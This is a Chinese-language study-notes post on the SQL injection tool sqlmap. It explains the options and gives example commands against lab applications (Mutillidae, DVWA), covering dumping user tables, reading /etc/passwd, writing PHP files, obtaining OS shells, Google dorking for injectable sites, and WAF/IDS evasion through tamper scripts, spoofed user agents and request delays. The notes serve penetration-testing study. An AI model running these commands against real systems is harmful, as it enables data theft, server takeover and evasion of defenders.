关于SQLMAP的学习笔记

来源:互联网 发布:育知同创怎么样 编辑:程序博客网 时间:2024/05/02 08:49

本文是对于学习SQLMAP参数的使用的一些笔记,不足之处很多会慢慢改进~

SQLMAP是一款开源的、用于SQL注入漏洞检测及利用的工具,它会检测动态页面中get/post参数、cookie、http头,进行数据榨取、文件系统访问和操作系统命令执行,另外还可以进行Xss漏洞检测。关于其更多的描述这里就不多说了,直接入正题,下面从参数的每个大部分的分类开始讲。


在Kali中已默认安装,其他Linux系统的安装要先安装git再通过git到GitHub上下载安装:
apt-get install git

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap

升级:
sqlmap --update

Options:

-h或-hh:查看sqlmap的参数信息,双h显示全部

-v:显示详细的信息,有1-6级,默认为1

--version:查看版本信息




Target:

-d:直接连接数据库服务器,作为数据库客户端使用

-u:后面跟URL地址,最好用双引号括起来,一定要存在变量名称

-l:logfile,将Burpsuite或WEbScarab代理记录的log日志文件提交上来

-x:sitemapurl,将站点地图sitemap文件提交上来

-m:将有多个URL的文件提交上来进行扫描

-r:提交HTTP request信息的文件

-g:用Google去搜索

-c:提交配置文件



GET方法:

开始先不使用DVWA来演示,因为DVWA中需要登录要用到cookie等的信息会比较复杂,刚开始先简单地以Mutillidae中的SQL注入为例:
sqlmap -u “http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=a&password=hhh&user-info-php-submit-button=View+Account+Details” -p username -f

-p参数只对指定的参数进行注入,在上述命令中指定了对username参数进行注入

-f参数查看指纹信息



查询的结果会保存在log文件中,位于一个root下的隐藏目录.sqlmap,可以进入查看相应的信息:
cd .sqlmap



--users:查看当前数据库所有用户

将注入命令的-f参数改为--users参数,因为已经查询确定过有注入点所以后面的执行速度会很快:





--banner:查看数据库版本信息





--dbs:查看目标数据库系统的所有库





--schema:查看元数据库,查看到的信息会很多,下面只是其中一个表





-a:all,所有数据都查找



-d参数,直接连接数据库服务器,作为数据库客户端使用而不是通过SQL注入漏洞查询进行,查询速度较快,前提是已知数据库当前的用户名及其密码、IP、端口(3306端口为mysql)和数据库名称(dvwa):
sqlmap -d “mysql://user:password@10.10.10.137:3306/dvwa” -f --users


-m参数,将有多个URL的文件提交上来进行扫描:
sqlmap -m urllist.txt --users


-g参数,扫描Google搜索结果:
sqlmap -g “inurl:\”.php?id=1\””


POST方法:

简单判断POST方法的方法,输入的参数内容提交后没有出现在URL中,而GET方法中会出现。
使用http request文件,可通过Burpsuite抓取:
sqlmap -r requset.txt

下面以Mutillidae中注入的login为例,启动Burpsuite来截获提交的POST方法:



用gedit保存而最好不用vi,因为格式会改变从而命令执行会出现错误:




使用Burpsuite的log文件:

在Options>Misc>Logging



sqlmap -l target-log


HTTPS:

扫描HTTPS网站时需要添加参数--force-ssl:

sqlmap -u "https://10.10.10.137/a.php?id=1:8843" --force-ssl



扫描配置文件:
sqlmap -c sqlmap.conf


查找sqlmap默认配置文件的路径:
dpkg -L sqlmap | grep sqlmap.conf


Request:

--data数据段:将URL中的参数部分放到后面

GET/POST都适用,在GET方法中将URL后面的参数部分提取出来就好,在POST方法中需要自己用Burpsuite查看URL和参数的值即可,当然也可以在浏览器中F12打开开发者工具来查看。

sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --data="username=1&password=2&login-php-submit-button=Login" -f


--param-del:变量分隔符

默认情况下参数变量的分隔符为&,若为其他符号时要使用变量分隔符。

sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --data="username=1;password=2;login-php-submit-button=Login" --param-del=";" -f


--cookie:Cookie头

因为DVWA进入之前需要登录,即要有cookie,所以在对DVWA进行sqlmap查询时需要用到cookie参数。同样,cookie值用Burpsuite可以很方便地查看。

sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" -f


Sqlmap会自动检查cookie中的注入点,level至少为2,通过--level 2来执行




Sqlmap会自动检查Set-cookie并更新,若想保留之前使用是用--drop-set-cookie


--user-agent:sqlmap/1.0-dev-nongit-201611220a89 (http://sqlmap.org)

Sqlmap检查user-agent的注入点,level>=3



用wireshark的追踪TCP流抓取sqlmap扫描时发送的包,查看其user-Agent:



很多服务器对于user-agent中出现sqlmap字样的都会被过滤掉,因此需要通过--user-agent参数进行修改,可以从刚刚用的Burpsuite中找:



sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" --user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0"

执行之后可看到user-agent已修改:





--random-agent:

保存在/usr/share/sqlmap/txt/user-agents.txt

sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0" --random-agent --users

user-agent使用的是该文件中随机的一项:





--host:修改Host头主机内容

Level=5时sqlmap自动扫描

有上面的扫描结果知道,Host为10.10.10.137,直接在上面的命令中添加--host修改为HHH:





--referer:

Level>=3时sqlmap自动扫描:



Referer头显示的是当前页面的URL:



修改为RRR:





--headers:

自定义的HTTP头,每行一个头,大小写区分:

--headers=”Host:HT\nUser-Agent:UA”





--method=GET/POST:指定使用GET方法或者POST方法


基于HTTP协议的身份验证:
Basic:基本身份验证
Digest:摘要身份验证
NTLM:Windows可能用的身份验证
sqlmap -u "http://10.10.10.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=7a89438737dbd6b89c3b11b1472045c0"  --auth-type Basic --auth-cred “user:password”


--auth-file:

需要PEM格式的证书文件

--auth-file=”ca.PEM”



http(s)代理:

--proxy=”http://127.0.0.1:8087”

--proxy-cred=”username:password”:身份认证

--ignore-proxy:忽略系统级代理设置,通常用于扫描本地网络目标

sqlmap -u “http://10.10.10.137/a.php?id=1” --proxy=”http://127.0.0.1:8087” -f


--delay:

每次http(s)请求之间延迟时间,浮点数,单位为秒,默认为无延迟


--timeout:

请求超时时间,浮点数,默认为30s


--retries:

http(s)连接超时重试次数,默认3次


delay、timeout和retries等参数的设置可有利于避免被发现


--randomize:

长度、类型与原始值保持一致的前提下,指定每次请求随机取值的参数名


--scope:

过滤日志内容,通过正则表达式筛选扫描对象

sqlmap -l burp.log --scope=”(www)?\.target\.(com|net|org)”

sqlmap -l burp.log --scope="(1)?\.10\.10\.(1|10|100|137)" --dbs


--safe-url和--safe-freq:

因为检测和盲注阶段会产生大量失败请求,服务器可能会销毁session。因此可以使用上述两个参数来解决,每发送--safe-freq次注入请求后,发送一次正常请求,即发送几个失败请求后就发送一次正常信息,绕过服务器的检测机制。


--skip-urlencode:

默认GET方法会对传输内容进行编码,使用该参数使在GET方法中提交原始字符数据而不进行编码


--eval:

每次请求前执行指定的python代码

每次请求更改或增加新的参数值(时间以来、其他参数值依赖)

sqlmap -u “http://10.10.10.137/a.php?id=1&hash=” --eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”

上述Hash值和类id的这个参数相关联,通过该参数进行哈希算法算出后面的hash的值,服务器对这类的检验是要求保持一致,使用--eval参数可以令其保持同步。




Optimization优化性能:

--predict-output:

与--threads参数不兼容

根据检测方法,将返回值跟统计表中的内容进行比较,缩小检测范围,提高效率

统计表在/usr/share/sqlmap/txt/common-outputs.txt,其中有版本名、用户名、密码、权限、角色、数据库名、表名、列名等等



--keep-alive:

使用http(s)长连接,避免重复建立连接的网络开销,但大量长连接会严重占用服务器资源

与--proxy参数不兼容



--null-connection:

常用于盲注判断,只获取相应页面的大小值,而不是页面的具体内容,降低了网络带宽消耗

与--text-only参数不兼容(也常用于盲注,基于页面内容的比较判断真假)



-o:同时使用--predict-output、--keep-alive和--null-connection三个参数


--threads:

最大并发线程,默认值为1,建议不要超过10,否则会影响站点可用性

与--predict-output参数不兼容

盲注时每个线程获取一个字符(7次请求),获取完成后线程结束


Injection:

-p:指定扫描的参数,其他的参数的注入不会进行,使--level失效

sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -p "user-agent,username"



--skip:排除指定的扫描参数

--level=5 --skip=”id,user-agent”


URI注入点:

sqlmap -u “http://1.1.1.1/param1/value1*/param2/value2/”


--dbms:指定数据库,可以加版本号,提高注入的效率

数据库名如MySQL<5.0>、Oracle<11i>、Microsoft SQL Server<2005>、PostgreSQL等


--os:指定目标操作系统,提高效率

如Linux、Windows


--invalid-bignum / --invalid-logical:

默认情况下,sqlmap使用赋值使参数值失效

Bignum使用大数使参数值失效

Logical使用布尔判断使参数值失效


--no-cast:

默认情况下,sqlmap榨取数据时会将所有结果转换为字符串,并用空格替换NULL结果

老版本mysql数据库对此提取不到数据,因而需要该参数取消这个默认处理方式


--no-escape:

默认情况下,当payload中有单引号括起字符串时,为了避免混淆和出错,sqlmap使用char()函数编码来替换字符串,但有些服务器对于编码数据的处理会出错,而这时就需要该参数来关闭此功能



--prefix / --suffix:

添加前缀或后缀

一种情况添加前后缀进行注入:

已知SQL语句:$query=”SELECT * FROM users WHERE id=(‘”.$_GET[‘id’].”’) LIMIT 0,1 ”

sqlmap -u “http://1.1.1.1/a.php?id=1” -p “id” --prefix “’)” --suffix “AND (‘1’=’1”

注入后语句为:query=”SELECT * FROM users WHERE id=(‘1’) <PAYLOAD> AND (‘1’=’1’) LIMIT 0,1 ”


--tamper:

混淆脚本,用于绕过应用层过滤、IPS、WAF

查看脚本:dpkg -L sqlmap | grep tamper

sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=login.php" --tamper="randomcase.py,space2dash.py" --users -v 3




Detection:

--level:1-5级,默认为1

每个级别发送不同的xml类型的payload:/usr/share/sqlmap/xml/payloads


--risk:1-4级,默认为1、无害

Risk升高可造成数据被篡改等风险


--string / --not-string:指定出现的字段或指定不出现的字段判断真假


--regexp:正则表达式


--code:指定HTTP返回代码判断真假


--text-only:指定页面的一段内容判断真假


--titles:指定页面的标题判断真假


Techniques:

默认使用全部技术

B:基于布尔的盲注漏洞

E:基于错误的检测

U:基于UNION联合查询的检测

S:基于堆叠查询的检测(文件系统、操作系统、注册表必须)

T:基于时间的盲注漏洞



--time-sec:基于时间的注入检测相应的延迟时间,默认为5s


--union-cols:

默认联合查询1-10列,随--level增加最多支持50列

--union-cols 6-9


--union-char:默认NULL

可以手动指定数值:--union-char 123


--dns-domain:

攻击者控制了一台DNS服务器,使用该参数可提高数据榨取的速度


--second-order:

不同的情况:在一个页面注入的结果,从另一个页面体现出来

--second-order http://10.10.10.137/b.php



Fingerprint:

-f、--fingerprint、-b、--banner:

查看数据库管理系统指纹信息、DBMS、操作系统、架构、补丁



Enumeration枚举:

--current-user:查看当前数据库管理系统用户



--current-db:查看当前数据库





--hostname:查看目标主机名




--users:查看数据库管理系统所有用户账号

--privileges -U username:查看用户权限,CU为当前用户




--roles:查看角色




--dbs:查看所有数据库

--tables:查看表
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -D dvwa --tables

指定数据库为dvwa,查看它所有的表:

进一步,查看users表中的所有列:

sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --columns



--exclude-sysdbs:排除系统数据库的查询

--count:计算该项的数目

--schema:查看元数据库
 
--batch:参数采用默认选项,不进行询问


Dump数据:
sqlmap -u "http://10.10.10.137/mutillidae/index.php?page=user-info.php&username=1&password=2&user-info-php-submit-button=View+Account+Details" -D dvwa -T users --dump --batch

--start,--stop指定查看的部分:

在上述命令上加上--start 3 --stop 4来查看3、4条的信息:



--dump-all查看全部:



Dump下来的数据保存在默认目录中:



--sql-query:加SQL语句来执行



Brute Force:

无权读取information_schema库时,需要用到暴力破解来扫描

--common-tables:暴力破解表名


--common-columns:暴力破解列名



UDF Injection:

--udf-inject,--shared-lib:

编译共享库创建并上传至DB Server,一次生成UDF实现高级注入

Linux:shared object

Windows:DLL

查看相关文档:http://www.slideshare.net/quis/advanced-sql-injection-to-operating-system-full-control-whitepaper-4633857




File System:

--file-read:

--file-read=”/etc/passwd”



--file-write:

--file-write=”1.php” --file-dest=“/tmp/1.php”

--file-dest参数为存放的路径




OS:

--os-cmd:执行一条命令,前提是当前用户有权执行

--os-shell:获取一个shell,前提是当前用户有权执行

--sql-shell:获取sql-shell,前提是当前用户有权执行






Windows Registory:

对注册表的操作需要相应的Windows权限才能进行

-reg-read:读取注册表

--reg-add:在注册表中添加项

--reg-del:删除注册表这种的项

--reg-key、--reg-value、--reg-data、--reg-type:对相应的键值、取值、数据、类型等进行修改



General:

-s:sqlite会话文件保存位置

-t:记录流量文件保存位置

--charset:强制字符编码

--charset=GBK

--crawl:从起始位置爬站深度

--csv-del:dump数据默认存于“,”分割的CSV文件中,指定其他分隔符

--dbms-cred:指定数据库账号

--flush-session:清空session

--force-ssl:指定访问的为HTTPS网站

--fresh-queries:忽略session查询结果

--hex:dump非ASCII字符内容时,将其编码为16进制形式,收到后解码还原

--output-dir:指定输出数据的目录而不采用默认的目录

--parse-errors:分析和实现数据库内建报错信息

--save:将命令保存成配置文件



Miscellaneous:

-z:参数助记符

-z “ign,bat,flu”
上述命令参数相当于--ignore-proxy --batch --flush-session


--answer:当遇到指定问题时按指定的选项执行

answer=”extending=N”

--check-waf:检测WAF/IPS/IDS

--hpp:HTTP parameter pollution

绕过WAF/IPS/IDS的有效方法,特别是对ASP/IIS和ASP.NET/IIS

--identity-waf:更彻底的WAF/IPS/IDS检查

--mobile:模拟智能手机设备

--purge-output:清除output文件夹

--smart:当大量检测目标时,只选择基于错误的检测结果

--wizard:命令参数向导



0 0